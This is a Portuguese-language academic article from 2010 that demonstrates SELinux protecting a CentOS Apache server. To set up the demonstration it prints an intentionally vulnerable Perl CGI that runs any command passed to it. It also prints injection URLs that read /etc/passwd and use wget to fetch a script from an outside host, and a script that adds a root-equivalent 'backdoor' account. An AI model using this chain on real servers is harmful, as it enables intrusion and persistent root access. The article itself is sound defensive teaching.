Reforçando a segurança do Linux com o SELinux
Heitor Augusto Murari Cardozo
Curso de Especialização em Redes e Segurança de Sistemas
Pontifícia Universidade Católica do Paraná
Curitiba, outubro de 2010.
Resumo
O objetivo deste artigo é apresentar os conceitos envolvidos nos mecanismos de
controle de acesso do Linux e introduzir a ferramenta de segurança SELinux, desenvolvido
pela Agência Nacional de Segurança dos Estados Unidos. Ao longo do trabalho, serão
abordados os procedimentos de configuração e análise de arquivos logs, baseados em uma
simulação de ataque a uma aplicação Web vulnerável, pela qual poderemos esclarecer o
funcionamento da ferramenta e comprovar sua eficácia.
1 Introdução
O modelo convencional de segurança do Linux, restrito basicamente às permissões de
acesso no formato user-group-others, é uma característica que remonta ao surgimento dos
sistemas Unix. Embora essas permissões sejam relativamente simples de entender, elas não
são suficientes para bloquear determinados tipos de ataques, que só poderiam ser evitados
com um sistema de segurança mais sofisticado.
Visando exatamente preencher as lacunas no sistema de segurança do Linux, a
Agência Nacional de Segurança dos Estados Unidos - NSA empenhou-se para programar
algumas modificações no kernel que acrescentam uma camada de segurança mais
especializada. Esse conjunto de modificações ficou conhecido como Security-Enhanced
Linux (Segurança aprimorada do Linux), ou simplesmente SELinux.
Anteriormente restrito a pesquisas acadêmicas e sistemas críticos, nos últimos anos o
SELinux recebeu contribuições de empresas como Red Hat e IBM, estabelecendo-se como
uma importante alternativa para melhorar a segurança das principais distribuições Linux
corporativas.
2 DAC versus MAC
Antes de qualquer explicação específica sobre o SELinux, é essencial esclarecer o
conceito mais abrangente no qual se insere: os mecanismos de controle de acesso (ACM).
Entre um número razoável de mecanismos existentes para diferentes tipos de sistemas,
destacam-se os dois mais comuns que estarão envolvidos no trabalho, o DAC (Controle de
acesso discricionário) e o MAC (Controle de acesso obrigatório).
O DAC, apesar de ser uma sigla pouco conhecida, é o mecanismo de controle de
acesso mais popular, padrão em todos os principais sistemas operacionais para servidores. Ele
é o típico controle de acesso por permissões que conhecemos nos sistemas Unix e Windows,
baseado na noção de que usuários individuais são os donos (owner) dos objetos e, portanto,
têm controle (discrição) total de quem tem as permissões para acessá-los.
Por exemplo, se um usuário é o dono de um arquivo, ele poderá conceder a outro
usuário, ou grupo de usuários, a permissão para acessá-lo em qualquer modo de operação
(leitura, gravação e execução). Posteriormente, ele poderá revogar essa permissão a qualquer
momento.
Enquanto o ponto-chave do DAC é o fato de que os usuários são considerados donos
do objeto e responsáveis pelas suas permissões de acesso [1], o mecanismo MAC prevê que
usuários individuais não têm escolha em relação às permissões de acesso que eles possuem ou
que objetos podem acessar. No MAC, apenas os administradores do sistema têm controle
sobre as políticas de segurança, que são definidas em nível organizacional.
Ao contrário do DAC, os usuários não podem modificar as políticas definidas no
MAC, seja acidental ou intencionalmente. Isso garante que o administrador defina uma
política de segurança centralizada que, em princípio, é aplicada a todos os usuários do
sistema. É exatamente o MAC o mecanismo de controle de acesso no qual se baseia o
SELinux.
3 Visão geral do SELinux
O kernel do Linux integrado com o SELinux cria um mecanismo de controle de acesso
obrigatório (MAC) que confina os programas dos usuários e serviços a um conjunto mínimo
de permissões de acesso que eles requerem para o seu modo de operação. Isso reduz ou
elimina a possibilidade desses programas e serviços causarem danos quando comprometidos,
através, por exemplo, de uma falha de buffer overflow ou uma configuração incorreta. [2]
O SELinux tem dois componentes importantes em seu sistema. Existe o mecanismo do
kernel que impõe um conjunto de políticas de acesso que se aplica aos processos e arquivos.
E, em segundo lugar, há rótulos de arquivo: todos os arquivos do sistema têm rótulos extras
ligados a ele que o amarram com as políticas de acesso. O comando “ls –Z” listará os rótulos
dos arquivos do diretório corrente. [3]
Importante deixar claro que o SELinux não substitui o tradicional mecanismo de
controle de acesso DAC do Linux. Ele, simplesmente, complementa-o, verificando se uma
determinada operação é permitida após as permissões padrões do usuário já terem sido
checadas. O propósito de um kernel com SELinux é proteger todo o sistema contra aplicativos
maléficos ou defeituosos que possam comprometê-lo ou danificá-lo, em situações de ataque
onde o sistema tradicional de permissões é incapaz de impedir.
Por exemplo, um processo rodando com o usuário root, de acordo com as premissas do
mecanismo DAC, é um processo que tem permissão para ler e escrever em qualquer arquivo
do sistema. Um atacante poderá conseguir acesso aos arquivos do sistema explorando uma
vulnerabilidade no servidor de e-mail com privilégios do usuário root, como, por exemplo, o
sendmail. Isso irá permitir, em tese, que o atacante modifique através do servidor de e-mail
vulnerável o arquivo de senhas /etc/passwd, mesmo que esse servidor de e-mail, em seu
funcionamento normal, nunca precise escrever nesse arquivo.
Precisamente nesse ponto, o SELinux irá adicionar um controle de acesso mais
refinado. O servidor de e-mail continuará sendo executado como root, porém, o sistema irá
evitar que ele modifique os arquivos que não fazem parte de sua operação.
4 SELinux na prática
Tomando como exemplo o Red Hat Enterprise Linux 4 - primeira distribuição
comercial a adotar o SELinux - a configuração padrão já define políticas de segurança
específicas para proteger determinados servidores (daemons), como o Apache, dhcpd,
portmap, named, dentre outros. Esse modelo ajudou a amadurecer o SELinux que foi melhor
incorporado no Red Hat Enterprise Linux 5.
Essa mesma distribuição, que se dedica bastante no desenvolvimento e integração do
SELinux, oferece algumas ferramentas para facilitar o gerenciamento das políticas e a análise
de problemas decorrentes do SELinux, além de estar constantemente oferecendo novas
políticas de segurança para proteger outras aplicações.
Apesar de ser razoavelmente complexo, construir políticas
de
segurança
personalizadas é absolutamente possível para o administrador de sistemas. Contudo, utilizar
as políticas padrões de uma distribuição, geralmente, é a melhor alternativa. A complexidade
do SELinux, combinada, principalmente, a alguns problemas de compatibilidade, são fatores
que dificultam sua adoção nos servidores. Cabe à distribuição facilitar essa tarefa e predefinir
regras que atendam às principais necessidades dos diferentes tipos de sistemas.
A seguir, descreveremos um cenário para simularmos um ataque em uma aplicação
Web e depois daremos um exemplo de configuração do SELinux, baseada na distribuição
CentOS 5.5 - compatível com o Red Hat Enterprise 5. Por fim, faremos uma análise dos logs
após a tentativa do ataque e confirmaremos o bloqueio através desse mecanismo de
segurança.
4.1 O cenário
Para mostrarmos o funcionamento do SELinux, consideremos um servidor Web com
as seguintes características:

Endereço IP: 189.77.232.10

Sistema Operacional: CentOS 5.5

Servidor Web: Apache 2.2

Linguagem: Perl 5.8.8
Nesse servidor, será instalada uma aplicação propositadamente vulnerável pela qual
será possível executar comandos no servidor remotamente.
Através de uma configuração do Apache, iremos alterar seu usuário de execução para
root, possibilitando o controle total do sistema. Essa configuração visa simular a escalada de
privilégios através de uma vulnerabilidade do sistema.
Em um primeiro momento, o ataque será feito com o SELinux desabilitado para
confirmarmos a possibilidade, depois, iremos configurá-lo e analisaremos os resultados com
as devidas políticas de segurança habilitadas.
4.2 O ataque
O script Perl abaixo foi desenvolvido para permitir a execução de comandos no
servidor. Apesar de ter sido criado especificamente para ilustrarmos o ataque e, portanto, ter
pouca utilidade prática, muitas aplicações Web possuem vulnerabilidades que tornam
possíveis esse tipo de ação. Um exemplo são aplicações PHP que não filtram os parâmetros
de entrada e aceitam a execução de scripts remotos, pela qual um atacante poderia executar
comandos no servidor usando a função exec().
#!/usr/bin/perl
use CGI qw(:standard);
$cmd = param('cmd');
$result=`$cmd`;
print <<END;
Content-Type: text/html; charset=iso-8859-1
<h1>Resultado do comando:</h1>
<p>$result</p>
END
Considerando a vulnerabilidade exposta da aplicação CGI, nossa simulação de ataque
consistirá nos seguintes passos:
1. Explorar a falha da aplicação Web;
2. Escalar os privilégios do usuário do Apache;
3. Adicionar um usuário com privilégios de administrador;
4. Acessar o sistema remotamente com o novo usuário.
4.2.1 Explorar a falha da aplicação Web
A aplicação Web foi instalada no servidor e está publicamente disponível no endereço
http://189.77.232.10/cgi-bin/myapp.cgi. Como essa aplicação aceita um argumento que
permite a execução de qualquer comando no servidor, poderíamos, por exemplo, verificar o
conteúdo do arquivo /etc/passwd acessando o seguinte endereço:
http://189.77.232.10/cgi-bin/myapp.cgi?cmd=cat%20/etc/passwd
Em vista dessa possibilidade, por essa aplicação iremos obter de outro servidor remoto
o script shell abaixo, preparado para criar um usuário chamado backdoor no sistema com os
mesmos privilégios do usuário root:
#!/bin/sh
# cria o usuário backdoor
/usr/sbin/adduser -u 12000 backdoor
# modifica a senha do usuário backdoor para "password"
echo "password" | /usr/bin/passwd --stdin backdoor
# modifica o UID/GID do usuário backdoor para ter os mesmos privilégios do
# usuário root
/bin/sed -i 's/12000/0/g' /etc/passwd
Para salvarmos esse script no diretório /tmp do servidor Web, usaremos o comando
wget para obtê-lo do servidor remoto, conforme abaixo:
http://189.77.232.10/cgi-bin/myapp.cgi?cmd=wget%20ha-mc.org/script.sh%20O%20/tmp/script.sh
Nesse momento, já temos o script /tmp/script.sh que será executado para criarmos o
usuário no sistema. No entanto, como o usuário padrão do Apache não permite a execução
dos comandos usados no script, será necessário, primeiro, escalarmos seus privilégios.
4.2.2 Escalar os privilégios do usuário do Apache
Atualmente, é muito comum a escalada de privilégios em sistemas GNU/Linux devido
a diferentes falhas descobertas no kernel. Da mesma forma que baixamos o script de criação
de usuário, poderíamos, por exemplo, baixar um exploit e explorar uma falha do sistema para
escalarmos os privilégios de execução do Apache para os mesmos privilégios do usuário root.
Supondo a existência de uma falha como essa, iremos alterar a execução do Apache
para root através da própria configuração, o que, na prática, surtirá o mesmo efeito de um
exploit que escala privilégios.
Essa configuração é feita alterando para root os parâmetros User e Group no arquivo
/etc/httpd/conf/httpd.conf.
4.2.3 Adicionar um usuário com privilégios de administrador
Nesse momento, já podemos executar o script /tmp/script.sh com privilégios de root e
criar, assim, o usuário backdoor. Usaremos então a aplicação Web para executá-lo:
http://189.77.232.10/cgi-bin/myapp.cgi?cmd=/bin/sh /tmp/script.sh
A aplicação confirma, através do resultado do comando, que o usuário foi criado com
sucesso.
Figura 1: Resultado da execução do script /tmp/script.sh
4.2.4 Acessar o sistema remotamente com o novo usuário
Finalmente, usando o SSH, acessamos o servidor remoto com o usuário backdoor e
confirmarmos que seus privilégios são os mesmos do usuário root:
$ ssh [email protected]
# id
uid=0(root) gid=0(root) groups=0(root) context=user_u:system_r:unconfined_t
Podemos, então, considerar que o ataque foi bem sucedido. Mostramos que, sem
nenhum mecanismo de segurança adicional no Linux, uma falha na aplicação Web e no
sistema operacional é suficiente para obtermos o controle total do sistema remotamente.
4.3 Configurando o SELinux
Especificamente na distribuição CentOS 5.5, muitas políticas de segurança do
SELinux são impostas por padrão para os principais serviços, além disso, existem muitas
opções (chamadas de booleanos) que permitem refinar a configuração de segurança do
SELinux para o Apache.
De modo geral, existem três modos de funcionamento do SELinux:

Enforcing - O SELinux impõe todas as políticas de segurança.

Permissive - O SELinux emite os avisos, mas não impõe as políticas de
segurança. Isso é útil para depuração e identificação de problemas. No modo
permissive, mais erros de acesso são identificados porque os objetos podem
continuar com as ações que seriam negadas no modo enforcing.

Disabled - O SELinux é totalmente desativado.
Primeiramente, iremos configurar o SELinux no modo permissive e manteremos o
padrão das opções de segurança do Apache. Dessa maneira, poderemos analisar os logs
quando for executado o script usado no ataque.
Para configurarmos o SELinux no modo permissive:
# setenforce permissive
4.4 Analisando os logs
Agora no modo permissive, vamos executar novamente o script de criação de usuário
e analisarmos os logs do SELinux produzidos pela ferramenta setroubleshoot [4] no arquivo
/var/log/messages:
Nov 15 22:22:32 setroubleshoot: SELinux está impedindo o comando adduser
(httpd_sys_script_t) para a função "create" para <Desconhecido> (httpd_sys_script_t).
Nov 15 22:22:32 setroubleshoot: SELinux está impedindo o comando adduser
(httpd_sys_script_t) para a função "write" para ./etc (etc_t).
Nov 15 22:22:33 setroubleshoot: SELinux está impedindo que o comando adduser acesse o
arquivo com rótulo proibido ./shadow (shadow_t).
Nov 15 22:22:33 setroubleshoot: SELinux está impendido o comando passwd
(httpd_sys_script_t) para a função "compute_av" para <Desconhecido> (security_t).
Nov 15 22:22:33 setroubleshoot: SELinux está impedindo que o comando passwd acesse o
arquivo com rótulos proibido ./cracklib (crack_db_t).
Ou seja, apesar dos comandos terem sido executados com sucesso, descobrimos,
através do log, que o SELinux negaria o acesso a vários recursos que, se estivesse no modo
enforcing, impossibilitaria a execução dos comandos adduser e passwd através da aplicação
Web, mesmo ela sendo executada com os privilégios de root.
A ferramenta setroubleshoot ainda fornece comandos para facilitar a interpretação
desses logs e entender exatamente o que está sendo bloqueado. A seguir, o resultado do
comando sealert com mais detalhes a respeito da primeira linha do log anterior:
Resumo:
SELinux está impedindo o comando adduser (httpd_sys_script_t) para a função "create" a
<Desconhecido> (httpd_sys_script_t).
Descrição detalhada:
[SELinux em modo permissive, a operação teria sido negada, mas foi permitida devido ao
modo permissive]
SELinux impediu o acesso requisitado por adduser. Não se espera que esse acesso seja
exigido por adduser e esse acesso pode sinalizar uma tentativa de intrusão. É também
possível que a versão específica ou a configuração do aplicativo esteja causando esse erro
para exigir o acesso adicional.
Fica claro que nosso script de criação de usuário teria problemas para executar o
comando adduser, se o SELinux estivesse no modo enforcing. Vamos, agora, aplicar esse
modo e verificar o comportamento da aplicação.
4.5 Modo enforcing
Para configurarmos o SELinux no modo enforcing:
# setenforce enforcing
Nesse modo, o SELinux impõe todas as suas políticas de segurança, negando qualquer
acesso a recursos não autorizados por uma determinada aplicação. Agora, ao tentarmos
executar o script pela aplicação Web, não obtemos mais o resultado do comando, e o log do
servidor Apache nos informa o seguinte:
[Mon Nov 15 00:24:40 2010] [erro] [cliente 192.168.1.8] /tmp/script.sh: linha 4:
/usr/sbin/adduser: Permissão negada
[Mon Nov 15 00:24:40 2010] [erro] [cliente 192.168.1.8] /bin/sed: não foi possível abrir o
arquivo temporário /etc//sed2Jmp8L: Permissão negada
Mesmo com a escalada de privilégios do Apache, conseguimos conter um ataque ao
sistema e negar qualquer acesso que possa prejudicar os demais serviços do servidor ou abrir
portas para outros tipos de ataques.
Ainda usando a aplicação Web, vamos tentar algo mais simples como ler o arquivo de
log em /var/log/messages, usando o endereço:
http://189.77.232.10/cgi-bin/myapp.cgi?cmd=cat%20/var/log/messages
A aplicação Web, de novo, não mostra nenhum resultado para o comando, e os logs
apresentam as seguintes mensagens:
Log do Apache:
[Mon Nov 15 23:58:33 2010] [erro] [cliente 192.168.1.6] cat: /var/log/messages: Permissão
negada
Log do SELinux:
Nov 15 23:58:33 setroubleshoot: SELinux está impedindo que o comando cat acesse o
arquivo com rótulo proibido ./messages (var_log_t).
O SELinux proibiu o acesso de leitura a um arquivo de log do sistema por uma
aplicação que, caso estivéssemos usando apenas o mecanismo de acesso tradicional , teria
total acesso ao sistema.
5. Conclusão
Nosso estudo de caso mostrou os benefícios de um mecanismo de controle de acesso
MAC com base em uma simulação de ataque relativamente simples e, atualmente, trivial,
além de ressaltar a importância do SELinux para proteger serviços críticos, principalmente
aqueles publicamente expostos na Internet.
Graças aos esforços dos desenvolvedores, o SELinux conseguiu chamar a atenção das
principais distribuições Linux corporativas, além de grandes empresas que atualmente apoiam
seu desenvolvimento. Hoje, ele se projeta como uma alternativa pragmática para ambientes
computacionais de qualquer porte, onde a preocupação com a segurança e confidencialidade
das informações é uma questão de sobrevivência.
Para o futuro, o desenvolvimento do SELinux dá pistas de que ruma para a
consolidação desse modelo de controle de acesso nos servidores, abrangendo uma variedade
maior de aplicações e alcançando compatibilidade com os mais diversos ambientes. Um dos
objetivos é reforçar as ferramentas para gerenciamento das políticas de segurança, o que
consequentemente resultaria em facilidade de gerenciamento e desenvolvimento de novas
políticas para proteger outros tipos de serviços.
Bibliografia
[1] Wikipédia. Discretionary access control. Disponível em:
<http://en.wikipedia.org/wiki/Discretionary_Access_Control>. Acesso em: 03 nov. 2010.
[2] Wikipédia. Security-Enhanced Linux. Disponível em:
<http://pt.wikipedia.org/wiki/SELinux>. Acesso em 07 nov. 2010.
[3] Crypt.Gen.NZ. How to Disable SELinux. Disponível em:
<http://www.crypt.gen.nz/selinux/disable_selinux.html>. Acesso em 15 nov. 2010.
[4] Fedora Hosted. SELinux Trouble Shooting Tool. Disponível em:
<https://fedorahosted.org/setroubleshoot/wiki/SETroubleShoot%20Overview>. Acesso em 14
nov. 2010.
Download

Reforçando a segurança do Linux com o SELinux Resumo